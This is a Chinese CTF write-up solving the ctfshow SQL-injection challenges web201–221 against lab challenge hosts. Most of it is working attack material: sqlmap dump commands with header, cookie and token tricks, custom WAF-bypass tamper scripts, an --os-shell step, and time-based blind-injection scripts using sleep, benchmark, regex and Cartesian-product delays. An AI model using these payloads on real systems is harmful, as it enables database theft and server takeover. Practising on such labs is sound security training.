前言
在这个专题的刷题过程中,主要参考了ctfshow题目所带的wp以及以下师傅的wp,以下是他们的link
b477eRy师傅:CTFSHOW WEB入门 SQL注入篇 – b477eRy – 博客园
My6n师傅:https://myon6.blog.csdn.net
web201
使用–user-agent 指定agent
使用–referer 绕过referer检查
源码里有传参逻辑,url/api?id=
get传参
顺手去cp了下refer:https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/
这里用到的,sqlmap参数>
- –user-agent:伪造ua头
- –referer:伪造Referer头
这里ua头不用设置,因为这里就是需要sqlmap的ua头,常用–random-agent来随机ua头
referer头去
url/sqlmap.php
掏一个就行
Payload:
查出sql库类型
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" --batch
# --batch 自动选择
查库
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" --dbs --batch
查表 # -D指定库
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" -D ctfshow_web --tables --batch
查列 # -T指定表
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user --columns --batch
查字段 # --dump转存数据
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch
web202
使用–data 调整sqlmap的请求方式
这里要用POST传参,上题的refer头和ua头依旧需要使用
Payload:
python sqlmap.py -u "https://4ff0c8ea-a28c-41f6-93c3-9ecb120d3bee.challenge.ctf.show/api" --data "id=1" --referer "https://4ff0c8ea-a28c-41f6-93c3-9ecb120d3bee.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch
web203
使用–method 调整sqlmap的请求方式
要用--method
来打,说明需要用PUT方法了
这里跑了好几次都报错,看别的师傅的wp发现需要加上
--headers="Content-Type: text/plain"
,否则是按表单提交,PUT接收不到信息,此处还需要在url/api/
后加上index.php
0.o
Payload:
python sqlmap.py -u "https://a2419931-cc4a-418e-b365-83680956af53.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://a2419931-cc4a-418e-b365-83680956af53.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch
web204
使用–cookie 提交cookie数据
直接去url/api
f12把cookie全复制下来是最快的
Payload:
python sqlmap.py -u "https://96aa4d23-7781-47a3-93ef-5b2ac2fc7949.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://96aa4d23-7781-47a3-93ef-5b2ac2fc7949.challenge.ctf.show/" --cookie "PHPSESSID=8euuf13dfl72utkpc2bp9pl6ad; ctfshow=eca0216c3cf8eaad7e483da5fdbe829d" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch
web205
api调用需要鉴权
这里说到要鉴权,正常输入id查询看看怎么个事
原来是每次查询前会跳到url/gerToken.php
拿个cookie
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数
Payload:
python sqlmap.py -u "https://96ce6c49-ea06-4c5a-97df-209a5cab38d2.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://96ce6c49-ea06-4c5a-97df-209a5cab38d2.challenge.ctf.show" --cookie "PHPSESSID=2i2702v07lfg5kut2lr9tluqhe" --safe-url="https://96ce6c49-ea06-4c5a-97df-209a5cab38d2.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump --batch
注意这里flag换了个表存
web206
sql需要闭合
其实这个提示没啥用的,sqlmap会自己测闭合,手测发现还是会鉴权,上题payload接着用就行
Payload:
python sqlmap.py -u "https://cd1b7631-8419-4a3d-bd90-e5dfcee58eb3.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://cd1b7631-8419-4a3d-bd90-e5dfcee58eb3.challenge.ctf.show" --cookie "PHPSESSID=ju4jc3md25ogn0avipvode6e9j" --safe-url="https://cd1b7631-8419-4a3d-bd90-e5dfcee58eb3.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv,id,tes --dump --batch
web207
–tamper 的初体验
//对传入的参数进行了过滤 function waf($str){ return preg_match('/ /', $str); }
先来了解sqlmap中的--tamper
功能,tamper功能使得sqlmap能够对waf进行绕过,其本身自带有部分绕waf脚本,功能如下:
序号 | 脚本名称 | 注释 |
1 | 0x2char | 将每个编码后的字符转换为等价表达 |
2 | apostrophemask | 单引号替换为Utf8字符 |
3 | apostrophenullencode | 替换双引号为%00%27 |
4 | appendnullbyte | 有效代码后添加%00 |
5 | base64encode | 使用base64编码 |
6 | between | 比较符替换为between |
7 | bluecoat | 空格替换为随机空白字符,等号替换为like |
8 | chardoubleencode | 双url编码 |
9 | charencode | 将url编码 |
10 | charunicodeencode | 使用unicode编码 |
11 | charunicodeescape | 以指定的payload反向编码未编码的字符 |
12 | commalesslimit | 改变limit语句的写法 |
13 | commalessmid | 改变mid语句的写法 |
14 | commentbeforeparentheses | 在括号前加内联注释 |
15 | concat2concatws | 替换CONCAT为CONCAT_WS |
16 | equaltolike | 等号替换为like |
17 | escapequotes | 双引号替换为\\\\ |
18 | greatest | 大于号替换为greatest |
19 | halfversionedmorekeywords | 在每个关键字前加注释 |
20 | htmlencode | html编码所有非字母和数字的字符 |
21 | ifnull2casewhenisnull | 改变ifnull语句的写法 |
22 | ifnull2ifisnull | 替换ifnull为if(isnull(A)) |
23 | informationschemacomment | 标示符后添加注释 |
24 | least | 替换大于号为least |
25 | lowercase | 全部替换为小写值 |
26 | modsecurityversioned | 空格替换为查询版本的注释 |
27 | modsecurityzeroversioned | 添加完整的查询版本的注释 |
28 | multiplespaces | 添加多个空格 |
29 | nonrecursivereplacement | 替换预定义的关键字 |
30 | overlongutf8 | 将所有字符转义为utf8 |
31 | overlongutf8more | 以指定的payload转换所有字符 |
32 | percentage | 每个字符前添加% |
33 | plus2concat | 将加号替换为concat函数 |
34 | plus2fnconcat | 将加号替换为ODBC函数{fn CONCAT()} |
35 | randomcase | 字符大小写随机替换 |
36 | randomcomments | /**/分割关键字 |
37 | securesphere | 添加某字符串 |
38 | sp_password | 追加sp_password字符串 |
39 | space2comment | 空格替换为/**/ |
40 | space2dash | 空格替换为–加随机字符 |
41 | space2hash | 空格替换为#加随机字符 |
42 | space2morecomment | 空格替换为/**_**/ |
43 | space2morehash | 空格替换为#加随机字符及换行符 |
44 | space2mssqlblank | 空格替换为其他空符号 |
45 | space2mssqlhash | 空格替换为%23%0A |
46 | space2mysqlblank | 空格替换为其他空白符号 |
47 | space2mysqldash | 空格替换为–%0A |
48 | space2plus | 空格替换为加号 |
49 | space2randomblank | 空格替换为备选字符集中的随机字符 |
50 | symboliclogical | AND和OR替换为&&和|| |
51 | unionalltounion | union all select替换为union select |
52 | unmagicquotes | 宽字符绕过GPC |
53 | uppercase | 全部替换为大写值 |
54 | varnish | 添加HTTP头 |
55 | versionedkeywords | 用注释封装每个非函数的关键字 |
56 | versionedmorekeywords | 使用注释绕过 |
57 | xforwardedfor | 添加伪造的HTTP头 |
同时 ,我们还能按照tamper的模板来修改脚本内容,针对不同题目要求进行绕过,此处暂不展开
题目过滤了空格,这里用space2comment.py (用/**/代替空格)来绕过
Payload:
python sqlmap.py -u "https://dcf40ec2-4b7a-46e9-bf4d-63b095379b5e.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://dcf40ec2-4b7a-46e9-bf4d-63b095379b5e.challenge.ctf.show" --cookie "PHPSESSID=4dq83pvgu88j7rumb27kik9im4" --safe-url="https://dcf40ec2-4b7a-46e9-bf4d-63b095379b5e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca -C flagvc,id,tes --dump --batch
web208
–tamper 的2体验
//对传入的参数进行了过滤 // $id = str_replace('select', '', $id); function waf($str){ return preg_match('/ /', $str); }
tamper可以调用多个绕过脚本,这里会把select置换为空,这里用randomcase.py(随机大小写)
Payload:
python sqlmap.py -u "https://deec8e53-8c37-4c30-9a99-372abc46508b.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://deec8e53-8c37-4c30-9a99-372abc46508b.challenge.ctf.show/" --cookie "PHPSESSID=dbtb17i7bloe6vnpff17ls81rs" --safe-url="https://deec8e53-8c37-4c30-9a99-372abc46508b.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py,randomcase.py -D ctfshow_web -T ctfshow_flaxcac -C flagvca,id,tes --dump --batch
web209
–tamper 的3体验
//对传入的参数进行了过滤 function waf($str){ //TODO 未完工 return preg_match('/ |\*|\=/', $str); }
等号被ban了可用equaltolike.py
(=替换like),但是空格这里被过滤了,也没有星号,注释绕过行不通,这里貌似没有能替换,这里用space2comment.py
作为模板,修改一下,用来打这一题(这里动空格过滤的同时,把等于号也改动了,只需要引用这个文件即可)
#!/usr/bin/env python
"""Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
""" Replaces space character (' ') with comments '/**/' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users' """retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x9)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
# =换成like
elif payload[i] == '=':
retVal += chr(0x9) + 'like' + chr(0x9)
continue
# 空格换成%09
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x9)
continue
retVal += payload[i]
return retVal
Payload:
python sqlmap.py -u "https://b9078185-264c-4c49-90a9-1e611ff27952.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://b9078185-264c-4c49-90a9-1e611ff27952.challenge.ctf.show/" --cookie "PHPSESSID=evn4h59knk8u6ico477d4ddaov" --safe-url="https://b9078185-264c-4c49-90a9-1e611ff27952.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web209.py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx,id,tes --dump --batch
web210
–tamper 的4体验
//对查询字符进行解密 function decode($id){ return strrev(base64_decode(strrev(base64_decode($id)))); }
其实是套了两层base64和翻转,这个解密过程是:base64->翻转->base64->翻转
所以我们的加密应该是:翻转->base64->翻转->base64
预设的tamper里有个base64encode.py
,可以改一改拿来用
改一下得到tamper用到的脚本:
#!/usr/bin/env python
"""Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)See the file 'LICENSE' for copying permission"""
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
""" Base64-encodes all characters in a given payload >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' """return encodeBase64(encodeBase64(payload[::-1], binary=False)[::-1], binary=False) if payload else payload
Payload:
python sqlmap.py -u "https://d61e433b-4aed-4d16-856f-d38e86f95de8.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://d61e433b-4aed-4d16-856f-d38e86f95de8.challenge.ctf.show/" --cookie "PHPSESSID=p5u32mj7b1uf0mb0sq0dekol7d" --safe-url="https://d61e433b-4aed-4d16-856f-d38e86f95de8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web210.py -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx,id,tes --dump --batch
web211
–tamper 的5体验
//对查询字符进行解密 function decode($id){ return strrev(base64_decode(strrev(base64_decode($id)))); } function waf($str){ return preg_match('/ /', $str); }
加密逻辑同上题,多了个空格过滤,对上题脚本稍作修改
#!/usr/bin/env python
"""Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)See the file 'LICENSE' for copying permission"""
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
""" Base64-encodes all characters in a given payload >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' """return encodeBase64(encodeBase64(payload[::-1].replace(' ', chr(0x09)), binary=False)[::-1], binary=False) if payload else payload
Payload:
python sqlmap.py -u "https://250ef957-5322-4c1e-ad85-075b192964bd.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://250ef957-5322-4c1e-ad85-075b192964bd.challenge.ctf.show/" --cookie "PHPSESSID=rahllt88gupk9g2qoq4ejut7q7" --safe-url="https://250ef957-5322-4c1e-ad85-075b192964bd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web211.py -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa,id,tes --dump --batch
web212
–tamper 的6体验
//对查询字符进行解密 function decode($id){ return strrev(base64_decode(strrev(base64_decode($id)))); } function waf($str){ return preg_match('/ |\*/', $str); }
新增了星号过滤,但是联合查询貌似不需要星号吧o.0,上一题脚本直接可以打
Payload:
python sqlmap.py -u "https://0ef3df59-b9e9-4d30-80de-f9bc0636f1e1.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://0ef3df59-b9e9-4d30-80de-f9bc0636f1e1.challenge.ctf.show/" --cookie "PHPSESSID=30uqjjuhpe0d85o7gmjgs3mj22" --safe-url="https://0ef3df59-b9e9-4d30-80de-f9bc0636f1e1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web211.py -D ctfshow_web -Tctfshow_flavis -C ctfshow_flagxxa,id,tes --dump --batch
web213
练习使用–os-shell 一键getshell
//对查询字符进行解密 function decode($id){ return strrev(base64_decode(strrev(base64_decode($id)))); } function waf($str){ return preg_match('/ |\*/', $str); }
上一题的脚本仍然可用,但是flag不在表里了,需要用--os-shell
getshell了
Payload:
python sqlmap.py -u "https://87a73f65-3fb9-41bf-8fd5-a55fbd2fc4e2.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://87a73f65-3fb9-41bf-8fd5-a55fbd2fc4e2.challenge.ctf.show/" --cookie "PHPSESSID=6q7ve32dcut6ik038kkubm94id" --safe-url="https://87a73f65-3fb9-41bf-8fd5-a55fbd2fc4e2.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web211.py --os-shell --batch
# getshell之后
os-shell> cat /ctfshow_flag
web214
开始基于时间盲注
注入点在这个ip
处,往url/api
发POST,内容是ip=if(1,sleep(5),0)&debug=1
,可以发现网页成功sleep了
二分法盲注脚本:
"""
Author:Y4tacker
"""
import requests
url = "http://d23ee9e9-3e43-4b0a-b172-547561ea456d.chall.ctf.show/api/"
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
# 查数据
payload = "select flaga from ctfshow_flagx"
data = {
'ip': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
web215
/用了单引号
加上了单引号闭合 稍微改一改上题脚本
"""Author:Y4tacker"""
import requests
url = "http://58fedc0e-77e9-4603-9752-c9f6e444cec7.challenge.ctf.show/api/"
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'"
# 查数据
payload = "select flagaa from ctfshow_flagxc"
data = {
'ip': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1) and '1'='1",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
web216
查询语句
where id = from_base64($id);
这里解码的其实是查询内容,也就是查询语句“=”后接的内容,但是我们的payload在闭合符号之后,所以只需要在闭合的引号前面换成base64编码的文本即可
"""
Author:Y4tacker
"""
import requests
url = "http://48fe6e0c-bb44-48e7-b0a0-18c33c7cfffa.challenge.ctf.show/api/"
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"
# 查数据
payload = "select flagaac from ctfshow_flagxcc"
data = {
'ip': f"'MQ==') or if (ascii(substr(({payload}),{i},1))>{mid},sleep(1),1",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
web217
查询语句 where id = ($id); 返回逻辑 //屏蔽危险分子 function waf($str){ return preg_match('/sleep/i',$str); }
这里sleep
被过滤了,换成benchmark
函数,该函数用于测试函数或表达式的执行速度
BENCHMARK(loop_count, expression)
loop_count
:指定表达式需要重复执行的次数。expression
:要执行的表达式。
debug=1&ip=benchmark(3000000,md5('1'))
响应时间大概花了3s,类似于sleep(3)
1million≈1s
不太稳定,这里收集了两位师傅的脚本
# @author:Myon
# @time:20240813
import requests
import string
url = 'http://6f8c19e2-81c7-4dbc-990c-aa3e3666e54f.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
for j in range(1, 50):
for k in dic:
# payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',benchmark(3000000,md5('myon')),0)"} # 猜数据库名
# payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"} # 猜列名
payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxccb), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"} # 跑flag
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 2:
out += k
break
print(out)
"""
Author:Y4tacker
"""
import requests
url = "http://6e7c94f3-c90b-4e61-9058-b4c0655f7978.challenge.ctf.show/api/"
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"
# 查数据
payload = "select flagaac from ctfshow_flagxcc"
data = {
'ip': f"'MQ==') or if (ascii(substr(({payload}),{i},1))>{mid},sleep(1),1",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
web218
查询语句 where id = ($id); 返回逻辑 //屏蔽危险分子 function waf($str){ return preg_match('/sleep|benchmark/i',$str); }
benchmark
都没了,考虑正则DOS
RLIKE注入
延时原理,利用SQL多次计算正则消耗计算资源产生延时效果,其实原理是和我们的
benchmark
注入差不多的。
但是这种方式受环境影响较大,跑着跑着的过程出现了时延不太稳定的情况
import time
import requests
url = "http://e8f340af-d5ca-40bf-ad36-c5b1a7bbb0e9.challenge.ctf.show/api/"
bypass = """(concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b')"""
# payload = "1) or if(ascii(substr((select database()),{0},1))>{1},{2},0)-- +"
# payload = "1) or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))>{1},{2},0)-- +"
# payload = "1) or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxc'),{0},1))>{1},{2},0)-- +"
payload = "1) or if(ascii(substr((select group_concat(id,'---',flagaac)from ctfshow_flagxc),{0},1))>{1},{2},0)-- +"
flag = ''
for i in range(1,100):
high = 128
low = 32
mid = (high+low)//2
while(high>low):
payload1=payload.format(i,mid,bypass)
# print(payload1)
# print(payload1)
data = {
'ip':payload1,
'debug':0
}
start_time=time.time()
re = requests.post(url=url,data=data)
end_time=time.time()
subtime=end_time-start_time
# print(subtime)
if subtime > 0.9:
low=mid+1
else:
high=mid
mid=(low+high)//2
if(chr(mid)==" "):
break
flag+=chr(mid)
print(flag)
# @author:Myon
# @time:20240814
import requests
import string
from time import *
url = 'http://e8f340af-d5ca-40bf-ad36-c5b1a7bbb0e9.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike concat(repeat('(a.*)+',6),'b')"
for j in range(1, 50):
for k in dic:
sleep(0.2) # 遍历每个字符前延时0.2s
# payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',{delay},0)"} # 猜数据库名
# payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',{delay},0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',{delay},0)"} # 猜列名
payload = {'debug': '1',
'ip': f"if(substr((select flagaac from ctfshow_flagxc), {j}, 1) = '{k}',{delay},0)"} # 跑flag
try:
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 0.8:
out += k
break
except:
out += k
break
print(out)
sleep(1) # 猜对一个字符延时1s
web219
查询语句 where id = ($id); 返回逻辑 //屏蔽危险分子 function waf($str){ return preg_match('/sleep|benchmark|rlike/i',$str); }
rlike
被过滤了,可以用regexp
代替,只需要将上题脚本中的rlike
替换成regexp
即可
这里了解一下笛卡尔积的解法
笛卡尔积(因为连接表是一个很耗时的操作)
AxB=A和B中每个元素的组合所组成的集合,就是连接表
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
这里以逗号连接,abcd可以一直写下去,写得越多查询的速度就越慢,造成的时延也越大,如果表、列数量少,则可以多写一些元素,把时延拉长些
这里需要手测一下延迟,环境不同延迟也有差异,这里连接三个元素题目就炸缸了我,我的环境大概是0.3s的时延
# @author:Myon
# @time:20240814
import requests
import string
url = 'http://af0a2faf-1b8e-4da9-90b7-c49dbaf3eabd.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
for j in range(1, 50):
for k in dic:
# payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜数据库名
# payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜列名
payload = {'debug': '1',
'ip': f"if(substr((select flagaabc from ctfshow_flagxca), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 跑flag
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 0.31:
out += k
break
print(out)
web220
查询语句 where id = ($id); 返回逻辑 //屏蔽危险分子 function waf($str){ return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str); }
这一次用到的脚本,利用%
作为通配符来爆破,避免使用ascii
# @author:Myon
# @time:20240814
import requests
import string
url = 'http://3bf69c20-538d-473d-a4da-93a2b23588a1.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
for j in range(1, 50):
for k in dic:
# payload = {'debug':'1','ip':f"if(database() like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜数据库名
# payload = {'debug': '1', 'ip': f"if((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1) like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜列名
# payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜列名
payload = {'debug': '1',
'ip': f"if((select flagaabcc from ctfshow_flagxcac) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 跑flag
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 0.31:
out += k
break
print(out)
其实还可以用left
、right
、rpad
、lpad
之类的来代替substr
import string
import requests
url = "http://dfc9fcfa-4a13-413b-87c6-14c1b4355565.challenge.ctf.show/api/"
# payload = "1) or if((left((select database()),{0})='{1}'),{2},0)-- +"
# payload = "1) or if((left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0})='{1}'),{2},0)-- +"
# payload = "1) or if((left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{0})='{1}'),{2},0)-- +"
payload = "1) or if((left((select flagaabcc from ctfshow_flagxcac limit 0,1),{0})='{1}'),{2},0)-- +"
bypass = """(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I)"""
uuid = "_1234567890{}-qazwsxedcrfvtgbyhnujmikolp,"
flag = ''
i = 1
while 1:
for j in uuid:
flag += j
payload1 = payload.format(i, flag, bypass)
# print(payload1)
data = {
'ip': payload1,
'debug': '1'
}
try:
r = requests.post(url, data=data, timeout=3)
flag = flag[:-1]
except Exception as e:
print(flag)
i += 1
笛卡尔积调超时时间也太难受了吧
web221
查询语句 //分页查询 $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit; 返回逻辑 //TODO:很安全,不需要过滤 //拿到数据库名字就算你赢
关于limit注入,P神有文章:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
Payload:
?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
# 提取表结构
# 高亮处字符不满足xpath格式即可 0x23-># 也是可以的
?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1)
